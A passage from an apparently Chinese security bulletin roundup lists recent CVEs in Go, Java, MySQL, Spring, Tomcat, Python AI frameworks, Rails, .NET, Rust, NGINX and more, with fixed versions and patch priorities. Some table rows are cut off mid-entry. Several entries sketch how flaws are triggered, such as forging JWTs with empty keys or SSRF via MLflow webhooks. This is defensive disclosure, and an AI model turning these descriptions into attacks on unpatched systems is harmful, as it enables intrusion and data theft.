- 当前没有已知成功利用。风险主要落在不检查吊销状态、未更新根证书包的自定义客户端和物联网环境。
- 对普通浏览器而言,CRLSet、OneCRL、系统根库更新和CertificateTransparency是三道独立防线。
真正的工程问题是:**很多软件不共享系统信任库**
。Go使用标准库中的过滤逻辑,Rust的rustls-webpki
和webpki-root-certs
维护自己的根证书集合,Java可能使用独立的cacerts
,Python可能使用certifi
,容器镜像也可能打包自己的CA证书。因此同一次CA撤信,需要分别更新和重新构建。
## 五、Go
Go在本轮需要分别处理三组问题:
![06-go-advisory](https://mmbiz.qpic.cn/sz_mmbiz_jpg/rapaL0gDxQqoWia3gPR5AMnKgnFbebP8kOnUv870YoeT8IjXCZQkZjOzPX6B6VTlaxVlNiaIsKwibG0Y8yPvAqeXsp9BMLnO7akOu9ePaSFq2U/640?wx_fmt=webp&from=appmsg "")
06-go-advisory
**图6**
 Go安全公告。
<table><thead><tr><th style="color: rgb(0, 0, 0);font-size: 16px;line-height: 1.5em;letter-spacing: 0em;text-align: left;font-weight: bold;background: none left top / auto no-repeat scroll padding-box border-box rgb(240, 240, 240);height: auto;border-style: solid;border-width: 1px;border-color: rgba(204, 204, 204, 0.4);border-radius: 0px;padding: 5px 10px;min-width: 85px;"><section><span leaf="">CVE</span></section></th><th style="color: rgb(0, 0, 0);font-size: 16px;line-height: 1.5em;letter-spacing: 0em;text-align: left;font-weight: bold;background: none left top / auto no-repeat scroll padding-box border-box rgb(240, 240, 240);height: auto;border-style: solid;border-width: 1px;border-color: rgba(204, 204, 204, 0.4);border-radius: 0px;padding: 5px 10px;min-width: 85px;"><section><span leaf="">时间</span></section></th><th style="color: rgb(0, 0, 0);font-size: 16px;line-height: 1.5em;letter-spacing: 0em;text-align: left;font-weight: bold;background: none left top / auto no-repeat scroll padding-box border-box rgb(240, 240, 240);height: auto;border-style: solid;border-width: 1px;border-color: rgba(204, 204, 204, 0.4);border-radius: 0px;padding: 5px 10px;min-width: 85px;"><section><span leaf="">问题</span></section></th><th style="color: rgb(0, 0, 0);font-size: 16px;line-height: 1.5em;letter-spacing: 0em;text-align: left;font-weight: bold;background: none left top / auto no-repeat scroll padding-box border-box rgb(240, 240, 240);height: auto;border-style: solid;border-width: 1px;border-color: rgba(204, 204, 204, 0.4);border-radius: 0px;padding: 5px 10px;min-width: 85px;"><section><span leaf="">修复</span></section></th></tr></thead><tbody><tr style="color: rgb(0, 0, 0);background-attachment: scroll;background-clip: border-box;background-color: rgb(255, 255, 255);background-image: none;background-origin: padding-box;background-position-x: left;background-position-y: top;background-repeat: no-repeat;background-size: auto;width: auto;height: auto;"><td style="padding-top: 5px;padding-right: 10px;padding-bottom: 5px;padding-left: 10px;min-width: 85px;border-top-style: solid;border-bottom-style: solid;border-left-style: solid;border-right-style: solid;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgba(204, 204, 204, 0.4);border-bottom-color: rgba(204, 204, 204, 0.4);border-left-color: rgba(204, 204, 204, 0.4);border-right-color: rgba(204, 204, 204, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;"><code><span leaf="">CVE-2026-111943</span></code></td><td style="padding-top: 5px;padding-right: 10px;padding-bottom: 5px;padding-left: 10px;min-width: 85px;border-top-style: solid;border-bottom-style: solid;border-left-style: solid;border-right-style: solid;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgba(204, 204, 204, 0.4);border-bottom-color: rgba(204, 204, 204, 0.4);border-left-color: rgba(204, 204, 204, 0.4);border-right-color: rgba(204, 204, 204, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;"><section><span leaf="">Go发布10月19日,CVE记录10月21日</span></section></td><td style="padding-top: 5px;padding-right: 10px;padding-bottom: 5px;padding-left: 10px;min-width: 85px;border-top-style: solid;border-bottom-style: solid;border-left-style: solid;border-right-style: solid;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgba(204, 204, 204, 0.4);border-bottom-color: rgba(204, 204, 204, 0.4);border-left-color: rgba(204, 204, 204, 0.4);border-right-color: rgba(204, 204, 204, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;"><code><span leaf="">crypto/x509</span></code><section><span leaf="">可能接受包含eMudhra失陷中间证书的链</span></section></td><td style="padding-top: 5px;padding-right: 10px;padding-bottom: 5px;padding-left: 10px;min-width: 85px;border-top-style: solid;border-bottom-style: solid;border-left-style: solid;border-right-style: solid;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgba(204, 204, 204, 0.4);border-bottom-color: rgba(204, 204, 204, 0.4);border-left-color: rgba(204, 204, 204, 0.4);border-right-color: rgba(204, 204, 204, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;"><section><span leaf="">1.26.10、1.27.3</span></section></td></tr><tr style="color: rgb(0, 0, 0);background-attachment: scroll;background-clip: border-box;background-color: rgb(248, 248, 248);background-image: none;background-origin: padding-box;background-position-x: left;background-position-y: top;background-repeat: no-repeat;background-Line truncated
Go发布1.26.10和1.27.3,修复CVE-2026-111943
;RustSec发布RUSTSEC-2026-0382
和RUSTSEC-2026-0383
,要求分别升级rustls-webpki
与webpki-root-certs
[4][9][10]。Node.js也在当天的安全版本中更新根证书,并新增8个中间CA的SPKI阻断列表[2]。
Go标准库漏洞不会因为更新系统CA包而消失。使用旧版本编译的静态二进制必须重新编译并部署。
## 六、JavaSE与JavaFX
Oracle在10月20日发布十月关键补丁更新。JavaSE与JavaFX属于例行CPU,不是10月21日临时爆发的新漏洞[5]。
<table><thead><tr><th style="color: rgb(0, 0, 0);font-size: 16px;line-height: 1.5em;letter-spacing: 0em;text-align: left;font-weight: bold;background: none left top / auto no-repeat scroll padding-box border-box rgb(240, 240, 240);height: auto;border-style: solid;border-width: 1px;border-color: rgba(204, 204, 204, 0.4);border-radius: 0px;padding: 5px 10px;min-width: 85px;"><section><span leaf="">CVE或问题</span></section></th><th style="color: rgb(0, 0, 0);font-size: 16px;line-height: 1.5em;letter-spacing: 0em;text-align: left;font-weight: bold;background: none left top / auto no-repeat scroll padding-box border-box rgb(240, 240, 240);height: auto;border-style: solid;border-width: 1px;border-color: rgba(204, 204, 204, 0.4);border-radius: 0px;padding: 5px 10px;min-width: 85px;"><section><span leaf="">影响</span></section></th><th style="color: rgb(0, 0, 0);font-size: 16px;line-height: 1.5em;letter-spacing: 0em;text-align: left;font-weight: bold;background: none left top / auto no-repeat scroll padding-box border-box rgb(240, 240, 240);height: auto;border-style: solid;border-width: 1px;border-color: rgba(204, 204, 204, 0.4);border-radius: 0px;padding: 5px 10px;min-width: 85px;"><section><span leaf="">修复</span></section></th></tr></thead><tbody><tr style="color: rgb(0, 0, 0);background-attachment: scroll;background-clip: border-box;background-color: rgb(255, 255, 255);background-image: none;background-origin: padding-box;background-position-x: left;background-position-y: top;background-repeat: no-repeat;background-size: auto;width: auto;height: auto;"><td style="padding-top: 5px;padding-right: 10px;padding-bottom: 5px;padding-left: 10px;min-width: 85px;border-top-style: solid;border-bottom-style: solid;border-left-style: solid;border-right-style: solid;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgba(204, 204, 204, 0.4);border-bottom-color: rgba(204, 204, 204, 0.4);border-left-color: rgba(204, 204, 204, 0.4);border-right-color: rgba(204, 204, 204, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;"><code><span leaf="">CVE-2026-101516</span></code></td><td style="padding-top: 5px;padding-right: 10px;padding-bottom: 5px;padding-left: 10px;min-width: 85px;border-top-style: solid;border-bottom-style: solid;border-left-style: solid;border-right-style: solid;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgba(204, 204, 204, 0.4);border-bottom-color: rgba(204, 204, 204, 0.4);border-left-color: rgba(204, 204, 204, 0.4);border-right-color: rgba(204, 204, 204, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;"><section><span leaf="">Java核心</span><code><span leaf="">Libraries</span></code><span leaf="">组件,CVSS6.5Medium,未认证网络攻击者可造成部分数据读取和有限修改[5]</span></section></td><td style="padding-top: 5px;padding-right: 10px;padding-bottom: 5px;padding-left: 10px;min-width: 85px;border-top-style: solid;border-bottom-style: solid;border-left-style: solid;border-right-style: solid;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgba(204, 204, 204, 0.4);border-bottom-color: rgba(204, 204, 204, 0.4);border-left-color: rgba(204, 204, 204, 0.4);border-right-color: rgba(204, 204, 204, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;"><section><span leaf="">Java8u511、11.0.33、17.0.21、21.0.13、25.0.5、27.0.1</span></section></td></tr><tr style="color: rgb(0, 0, 0);background-attachment: scroll;background-clip: border-box;background-color: rgb(248, 248, 248);background-image: none;background-origin: padding-box;background-position-x: left;background-position-y: top;background-repeat: no-repeat;background-size: auto;width: auto;height: auto;"><td style="padding-top: 5px;padding-right: 10px;padding-bottom: 5px;padding-left: 10px;min-width: 85px;border-top-style: solid;border-bottom-style: solid;border-left-style: solid;border-right-style: solid;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgba(204, 204, 204, 0.4);border-bottom-color: rgba(204, 204, 204, 0.4);border-left-color: rgba(204, 204, 204, 0.4);border-right-color: rgba(204, 204, 204, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;"><code><span leaf="">CVE-2026-43660</span></code></td><td style="padding-top: 5px;padding-right: 10px;padding-bottom: 5px;padding-left: 10px;min-width: 85px;border-top-style: solid;border-bottom-style: solid;border-left-style: solid;border-right-style: solid;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;bordLine truncated
CVE-2026-43660
的编号归属存在明显矛盾。Oracle公告描述的是JavaFX问题,Apple发布的CVE记录描述的是Safari与WebKit问题。不能在没有补充说明的情况下,把它写成“10月21日新发现的Java漏洞”。
Oracle后续计划为2026年11月17日和12月15日发布CSPU,2027年1月19日发布CPU。Java21自10月CPU起进入OTN许可路径,商业生产环境还需要核对订阅范围。
## 七、MySQL
MySQL在同一CPU中包含98个新安全补丁,其中29个可由未认证攻击者远程触发[5]。MySQL8.4和9.7分支应分别升级到8.4.13和9.7.4,其他发行版本按照OracleCPU378执行。对公网可达、允许低权限账户连接或承载高价值数据的实例,应优先安排维护窗口。
其中CVE-2026-101621
位于InnoDB,拥有高权限的网络攻击者可让MySQLServer或Cluster反复崩溃,CVSS4.9。该漏洞同样在10月CPU中修复。
![07-oracle-cpu](https://mmbiz.qpic.cn/sz_mmbiz_jpg/rapaL0gDxQpstzF837ibIYNq8GLmr7cU31EWoUPBevHE2vBa7DsrSlTZGMnpmzHCYTT8rhibBT8Yot82JWdal7mIWDwBeNrjH39cr0KEeZ46Q/640?wx_fmt=webp&from=appmsg "")
07-oracle-cpu
**图7**
 Oracle十月CPU。
## 八、SpringFramework
Spring在本轮被重新提及的四个CVE分别产生于2026年6月和8月,不是10月21日新披露[17]:
![08-spring-advisory](https://mmbiz.qpic.cn/sz_mmbiz_jpg/rapaL0gDxQqKGXbrQott7ztE5wAUbrWgIuQkuZCMKnWmibbjP5TdAhVkuyluW5qAcichDw7iaJz7y3PGs8ZeRYSLFcaYOb9O56Qkm094fdibGG0/640?wx_fmt=webp&from=appmsg "")
08-spring-advisory
**图8**
 Spring安全公告。
<table><thead><tr><th style="color: rgb(0, 0, 0);font-size: 16px;line-height: 1.5em;letter-spacing: 0em;text-align: left;font-weight: bold;background: none left top / auto no-repeat scroll padding-box border-box rgb(240, 240, 240);height: auto;border-style: solid;border-width: 1px;border-color: rgba(204, 204, 204, 0.4);border-radius: 0px;padding: 5px 10px;min-width: 85px;"><section><span leaf="">CVE</span></section></th><th style="color: rgb(0, 0, 0);font-size: 16px;line-height: 1.5em;letter-spacing: 0em;text-align: left;font-weight: bold;background: none left top / auto no-repeat scroll padding-box border-box rgb(240, 240, 240);height: auto;border-style: solid;border-width: 1px;border-color: rgba(204, 204, 204, 0.4);border-radius: 0px;padding: 5px 10px;min-width: 85px;"><section><span leaf="">问题</span></section></th><th style="color: rgb(0, 0, 0);font-size: 16px;line-height: 1.5em;letter-spacing: 0em;text-align: left;font-weight: bold;background: none left top / auto no-repeat scroll padding-box border-box rgb(240, 240, 240);height: auto;border-style: solid;border-width: 1px;border-color: rgba(204, 204, 204, 0.4);border-radius: 0px;padding: 5px 10px;min-width: 85px;"><section><span leaf="">修复</span></section></th></tr></thead><tbody><tr style="color: rgb(0, 0, 0);background-attachment: scroll;background-clip: border-box;background-color: rgb(255, 255, 255);background-image: none;background-origin: padding-box;background-position-x: left;background-position-y: top;background-repeat: no-repeat;background-size: auto;width: auto;height: auto;"><td style="padding-top: 5px;padding-right: 10px;padding-bottom: 5px;padding-left: 10px;min-width: 85px;border-top-style: solid;border-bottom-style: solid;border-left-style: solid;border-right-style: solid;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgba(204, 204, 204, 0.4);border-bottom-color: rgba(204, 204, 204, 0.4);border-left-color: rgba(204, 204, 204, 0.4);border-right-color: rgba(204, 204, 204, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;"><code><span leaf="">CVE-2026-41854</span></code></td><td style="padding-top: 5px;padding-right: 10px;padding-bottom: 5px;padding-left: 10px;min-width: 85px;border-top-style: solid;border-bottom-style: solid;border-left-style: solid;border-right-style: solid;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgba(204, 204, 204, 0.4);border-bottom-color: rgba(204, 204, 204, 0.4);border-left-color: rgba(204, 204, 204, 0.4);border-right-color: rgba(204, 204, 204, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;"><code><span leaf="">UriComponentsBuilder</span></code><section><span leaf="">主机解析错误导致SSRF</span></section></td><td style="padding-top: 5px;padding-right: 10px;padding-bottom: 5px;padding-left: 10px;min-width: 85px;border-top-style: solid;border-bottom-style: solid;border-left-style: solid;border-right-style: solid;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgba(204, 204, 204, 0.4);border-bottom-color: rgba(204, 204, 204, 0.4);border-left-color: rgba(204, 204, 204, 0.4);border-right-color: rgba(204, 204, 204, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;"><section><span leaf="">7.0.8、6.2.19</span></section></td></tr><tr style="color: rgb(0, 0, 0);background-attachment: scroll;background-clip: border-box;background-color: rgb(248, 248, 248);background-image: none;background-origin: padding-box;background-position-x: left;background-position-y: top;background-repeat: no-repeat;background-size: auto;width: auto;height: auto;"><td style="padding-top: 5px;padding-right: 10px;padding-bottom: 5px;padding-left: 10px;min-width: 85px;border-top-style: solid;border-bottom-style: solid;border-left-style: solid;border-right-style: solid;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgba(204, 204, 204, 0.4);border-bottom-color: rgba(204, 204, 204, 0.4);border-left-color: rgba(204, 204, 204, 0.4);border-right-color: rgba(204, 204, 204, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;"><code><span leaf="">CVE-2026-47884</span></code></td><td style="padding-top: 5px;padding-right: 10px;padding-bottom: 5px;padding-left: 10px;min-width: 85px;border-top-style: solid;border-bottom-style: solid;border-left-style: solid;border-right-style: solid;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgba(204, 204, 204, 0.4);border-bottom-color: rgba(204, 204, 204, 0.4);border-left-color: rgba(204, 2Line truncated
Spring官方与CISA/NVD对部分条目的严重度评分差异较大。例如CVE-2026-47884
被Spring标为Medium,而后补CVSS达到9.8。处置时应同时考虑评分和实际触发条件。
## 九、ApacheTomcat
Tomcat涉及三个不同问题:
- CVE-2026-34486
:2026年4月披露,CVE-2026-29146
的修复不完整,攻击者可绕过集群通信使用的EncryptInterceptor
。修复版本为9.0.117、10.1.54、11.0.21。
- CVE-2026-101296
:10月20日正式记录,JNDIRealm使用非GSSAPI SASL机制时认证校验可能失败开放。修复版本为9.0.123、10.1.61、11.0.27。
- CVE-2026-93446
:10月20日正式记录,官方评级Low,表现为TLS1.3连接间歇失败。修复版本与101296相同。
CVE-2026-34486
不应简化成“反序列化RCE”,它的直接问题是加密拦截器被绕过。
## 十、Jackson
CVE-2026-54512
和CVE-2026-54513
于2026年6月披露,均涉及JacksonDatabind多态类型允许列表绕过,CVSS8.1。前者利用泛型参数隐藏被禁止的子类型,后者利用数组元素类型绕过allowIfSubTypeIsArray()
。
只有在启用多态类型、并依赖PolymorphicTypeValidator
限制可反序列化类型时才会触发。修复版本为2.18.8、2.21.4和3.1.4。
## 十一、Log4j
CVE-2026-49844
于2026年7月披露,问题位于Log4jAPI的MapMessage.asJson()
:当日志中包含NaN
、Infinity
等非有限浮点值时,输出可能不是合法JSON。
触发需要应用使用相应JSON布局和消息解析路径,并且攻击者能控制被记录的浮点值。官方评分为Medium,主要影响日志完整性和下游解析,不应与Log4Shell类远程代码执行相提并论。修复版本为2.25.5和2.26.1。
## 十二、snappy-java
CVE-2026-108106
于2026年10月披露,CVSS7.5。snappy-java在验证解压数据前信任输入声明的未压缩长度,几字节的畸形输入即可迫使JVM尝试分配最高约2GB内存,导致OutOfMemoryError
或拒绝服务。
修复版本为1.1.10.9。除升级直接依赖外,还应检查Hadoop、Kafka、Spark等传递依赖是否仍捆绑旧版本。
## 十三、Python与AI框架
### PyTorch
CVE-2026-24747
于2026年1月披露,CVSS8.8。2.10.0之前的PyTorch在用weights_only=True
加载恶意.pth
检查点时可能发生内存破坏和代码执行。修复版本为2.10.0。
### MLflow
CVE-2026-64849
于2026年8月披露,CVSS9.3。3.3.0至3.15.0之前的MLflowWebhook测试接口未认证,且可被HTTP重定向和DNS重绑定绕过URL校验,读取内网或云元数据响应。修复版本为3.15.0,同月进入CISA的KEV目录[11][12]。
### Ray
CVE-2025-62593
于2025年11月披露。Ray2.52.0之前可被Firefox或Safari中的DNS重绑定攻击利用,开发者访问恶意网页后可能触发RCE。2026年8月进入CISA的KEV目录,修复版本为2.52.0[11][12]。
### pip
CVE-2026-8643
于2026年6月披露。pip24.0至26.1.1未正确限制console_scripts
和gui_scripts
入口点路径,可将文件写到安装目录之外。修复版本为26.1.2。
### CPython
CVE-2026-1299
于2026年1月披露。email.BytesGenerator
配合LiteralHeader
可因未引用的换行字符发生邮件头注入。修复版本包括3.10.20、3.11.15、3.12.13、3.13.12、3.14.3和3.15.0a6。
### virtualenv
CVE-2026-113723
于10月20日披露。virtualenv21.14.9之前,调用方提供的prompt文本可在bash激活提示符中成为可执行语法。触发要求攻击者影响prompt值,用户随后激活环境并渲染提示符。修复版本为21.14.9。
另有少量汇总提到aiohttp与filelock存在近期问题,但未给出可核实的CVE编号、影响范围或修复版本,本文不将其与已确认漏洞混列。
## 十四、Ruby与Rails
### RailsActiveStorage
CVE-2026-66066
于2026年7月披露,CVSS9.5。应用必须使用libvips处理ActiveStorage图片,并允许不可信用户上传文件。攻击者可调用libvips中不适合处理不可信内容的操作,读取Rails进程可访问的任意文件与密钥;泄露secret_key_base
后可能进一步导致RCE。
修复版本为7.2.3.2、8.0.5.1和8.1.3.1,同时要求libvips不低于8.13。不是所有Rails应用默认受影响。
### ruby-jwt
CVE-2026-45363
于2026年7月披露,CVSS9.1。JWT.decode()
接受空字符串作为HMAC密钥,keyfinder返回空字符串、nil
或包含nil
的数组时也可能触发空密钥验证,攻击者可伪造HS256、HS384或HS512令牌。修复版本为2.10.3和3.2.0。
### ERB
CVE-2026-41316
于2026年4月披露,CVSS8.1。ERB的def_method
、def_module
和def_class
没有执行@_init
检查;当应用对不可信数据执行Marshal.load()
时,可形成代码执行链。修复版本为4.0.3.1、4.0.4.1、6.0.1.1和6.0.4。
### Rubyresolv
CVE-2026-80212
和CVE-2026-80213
于2026年8月披露。恶意DNS响应可让resolv为大量未知记录类型永久创建类对象,造成内存持续增长;同批还存在主机名校验问题。
修复版本为resolv0.7.2,Ruby3.3系列使用0.3.2。
### net-imap
CVE-2026-42246
于2026年5月披露。中间人可通过控制响应时机让Net::IMAP#starttls
错误地返回成功,却没有实际启动TLS,形成STARTTLS剥离。修复版本为0.3.10、0.4.24、0.5.14和0.6.4。
## 十五、.NET与ASP.NETCore
### 10月13日更新
CVE-2026-102870
的CVSS为8.8,问题位于BlazorWebAssembly调试代理。调试器在编译表达式时会把应用中的ToString()
结果、类名等值嵌入生成的C[#代码]()
,未一致转义时可导致代码注入。
只有使用受影响Microsoft.AspNetCore.Components.WebAssembly.Server
调试BlazorWebAssembly,并计算包含攻击者控制数据的表达式时才受影响。修复版本为10.0.13和11.0.0-rc.2.26478.115[7]。
### 2026年7月与8月历史批次
- 7月批:CVE-2026-50649
和50650
,涉及反序列化与代码注入,修复版本为10.0.10、9.0.18、8.0.29。
- 8月批:CVE-2026-62886
、62897
、70354
,涉及权限提升与代码执行,修复版本为10.0.11、9.0.19、8.0.30。
### Marten
CVE-2026-75513
于2026年9月披露,CVSS9.1。LINQ和租户查询字符串拼接可造成SQL注入、租户授权绕过和盲注。修复版本为Marten9.13.0。
## 十六、Rust
### eMudhra信任链
- RUSTSEC-2026-0382
:rustls-webpki
可能接受包含失陷emSign中间证书的路径;修复为0.103.16及0.104.0-alpha.8以上[9]。
- RUSTSEC-2026-0383
:webpki-root-certs
内置可通向失陷中间证书的根;修复为1.0.10以上,0.26.11包装版本需确保其1.x依赖同步升级[10]。
### Cargo
CVE-2026-5222
于2026年5月披露,Cargo1.68至1.96之前对第三方稀疏注册表URL归一化不正确,特定托管条件下可能把凭据发送给其他注册表。官方评级Low。
CVE-2026-5223
同批披露,第三方crate中的符号链接可覆盖同注册表其他crate的缓存源码。crates.io禁止此类符号链接,因此crates.io用户不受影响。两项均修复于Rust1.96.0。
### tar-rs
CVE-2026-33055
和CVE-2026-33056
于2026年3月披露。前者是PAX长度字段处理差异,后者会跟随符号链接对解压目录外的目录执行chmod
。
修复版本为tar0.4.45,Rust1.94.1同步更新Cargo内置依赖。业务程序如果直接使用tar-rs,仍需单独升级。
## 十七、NGINX
10月14日,NGINX发布五个中等严重度修复,修复版本为1.30.6和1.31.7[8]:
<table><thead><tr><th style="color: rgb(0, 0, 0);font-size: 16px;line-height: 1.5em;letter-spacing: 0em;text-align: left;font-weight: bold;background: none left top / auto no-repeat scroll padding-box border-box rgb(240, 240, 240);height: auto;border-style: solid;border-width: 1px;border-color: rgba(204, 204, 204, 0.4);border-radius: 0px;padding: 5px 10px;min-width: 85px;"><section><span leaf="">CVE</span></section></th><th style="color: rgb(0, 0, 0);font-size: 16px;line-height: 1.5em;letter-spacing: 0em;text-align: left;font-weight: bold;background: none left top / auto no-repeat scroll padding-box border-box rgb(240, 240, 240);height: auto;border-style: solid;border-width: 1px;border-color: rgba(204, 204, 204, 0.4);border-radius: 0px;padding: 5px 10px;min-width: 85px;"><section><span leaf="">问题</span></section></th></tr></thead><tbody><tr style="color: rgb(0, 0, 0);background-attachment: scroll;background-clip: border-box;background-color: rgb(255, 255, 255);background-image: none;background-origin: padding-box;background-position-x: left;background-position-y: top;background-repeat: no-repeat;background-size: auto;width: auto;height: auto;"><td style="padding-top: 5px;padding-right: 10px;padding-bottom: 5px;padding-left: 10px;min-width: 85px;border-top-style: solid;border-bottom-style: solid;border-left-style: solid;border-right-style: solid;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgba(204, 204, 204, 0.4);border-bottom-color: rgba(204, 204, 204, 0.4);border-left-color: rgba(204, 204, 204, 0.4);border-right-color: rgba(204, 204, 204, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;"><code><span leaf="">CVE-2026-15176</span></code></td><td style="padding-top: 5px;padding-right: 10px;padding-bottom: 5px;padding-left: 10px;min-width: 85px;border-top-style: solid;border-bottom-style: solid;border-left-style: solid;border-right-style: solid;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgba(204, 204, 204, 0.4);border-bottom-color: rgba(204, 204, 204, 0.4);border-left-color: rgba(204, 204, 204, 0.4);border-right-color: rgba(204, 204, 204, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;"><section><span leaf="">alias与rewrite组合导致堆缓冲区溢出,可造成worker重启,关闭ASLR或绕过ASLR时可能执行代码</span></section></td></tr><tr style="color: rgb(0, 0, 0);background-attachment: scroll;background-clip: border-box;background-color: rgb(248, 248, 248);background-image: none;background-origin: padding-box;background-position-x: left;background-position-y: top;background-repeat: no-repeat;background-size: auto;width: auto;height: auto;"><td style="padding-top: 5px;padding-right: 10px;padding-bottom: 5px;padding-left: 10px;min-width: 85px;border-top-style: solid;border-bottom-style: solid;border-left-style: solid;border-right-style: solid;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgba(204, 204, 204, 0.4);border-bottom-color: rgba(204, 204, 204, 0.4);border-left-color: rgba(204, 204, 204, 0.4);border-right-color: rgba(204, 204, 204, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;"><code><span leaf="">CVE-2026-93479</span></code></td><td style="padding-top: 5px;padding-right: 10px;padding-bottom: 5px;padding-left: 10px;min-width: 85px;border-top-style: solid;border-bottom-style: solid;border-left-style: solid;border-right-style: solid;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgba(204, 204, 204, 0.4);border-bottom-color: rgba(204, 204, 204, 0.4);border-left-color: rgba(204, 204, 204, 0.4);border-right-color: rgba(204, 204, 204, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;"><section><span leaf="">变量表达式求值中的缓冲区溢出</span></section></td></tr><tr style="color: rgb(0, 0, 0);background-attachment: scroll;background-clip: border-box;background-color: rgb(255, 255, 255);background-image: none;background-origin: padding-box;background-position-x: left;background-position-y: top;background-repeat: no-repeat;background-size: auto;width: auto;height: auto;"><td style="padding-top: 5px;padding-right: 10px;padding-bottom: 5px;padding-left: 10px;min-width: 85px;border-top-style: solid;border-bottom-style: solid;border-left-style: solid;border-right-style: solid;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgba(204, 204, 204, 0.4);border-bottom-color: rgba(204, 204, 204, 0.4);border-left-color: rgba(204, 204, 204, 0.4);border-right-coLine truncated
## 十八、Traefik
10月15日发布的Traefik3.7.15修复三个KubernetesIngressNGINXprovider相关公告:同一主机上不同Ingress的auth-tls-secret
配置可导致mTLS保护失效开放;fastProxy
存在连接数据竞争;TLS选项缓存可能跳过跨命名空间授权检查[14]。
使用IngressNGINXprovider并配置mTLS的环境应优先升级,同时审计同一主机下的多个Ingress资源。
## 十九、Vyper
Vyper相关项目公告发布于2026年10月,CVE记录在10月21日正式落地,因此不能算10月21日首次发现。
- CVE-2026-114118
:create_from_blueprint
的code_offset
可发生无符号回绕,使工厂部署没有运行时代码的空合约。
- CVE-2026-114116
:源行表使用str.splitlines()
,某些分隔符可让审核看到的数字常量和编译器实际使用的值不一致。
项目公告评级为Low,与网络中部分“高危远程RCE”说法不符。老分支已有部分修复;0.4.1至0.5.0b1的多项问题尚无正式发布修复版本。对不可信合约源码应拒绝合并,固定编译器版本并核验生成字节码。
## 二十、Perl
CVE-2026-85644
于2026年9月披露,问题位于XS-Parse-Keyword
发行版中的XS::Parse::Infix
。特制输入可导致拒绝服务。
Ubuntu在10月20日发布USN-8940-1,上游修复版本为0.50;Ubuntu26.10提供0.49-1ubuntu1,26.04LTS提供0.49-1ubuntu0.1[12][16]。
## 二十一、Flutter与Dart
CVE-2026-27704
于2026年2月披露。Dart和Flutter的pub缓存解压存在符号链接型ZipSlip,恶意第三方包可在提取时把文件写到缓存目录之外。
修复版本为Dart3.11.0和Flutter3.41.0。pub.dev已清理存量包并禁止新包包含符号链接,风险主要来自第三方包仓库、私有仓库或可信度不足的镜像。
## 二十二、处置优先级
### 第一优先级
更新浏览器、操作系统和自维护CA库,重点更新Go、Rust、Java、Python、Node.js和容器基础镜像中的独立信任库。对内部客户端和物联网设备,检查是否仍在接受包含eMudhra中间证书的链。
### 第二优先级
升级所有对外PHP服务到8.2.35、8.3.36、8.4.27或8.5.12,重启全部worker,并检索异常multipart请求与内存耗尽日志。
### 第三优先级
排查LiteLLM1.107.0的wheel、镜像层、构建缓存和运行容器。命中后先隔离,不要在受感染虚拟环境中启动Python,随后重建并轮换全部可达凭据。
### 第四优先级
将Node.js升级到22.23.4、24.22.1或26.12.1,并清理仍在使用EOL版本的镜像。
### 第五优先级
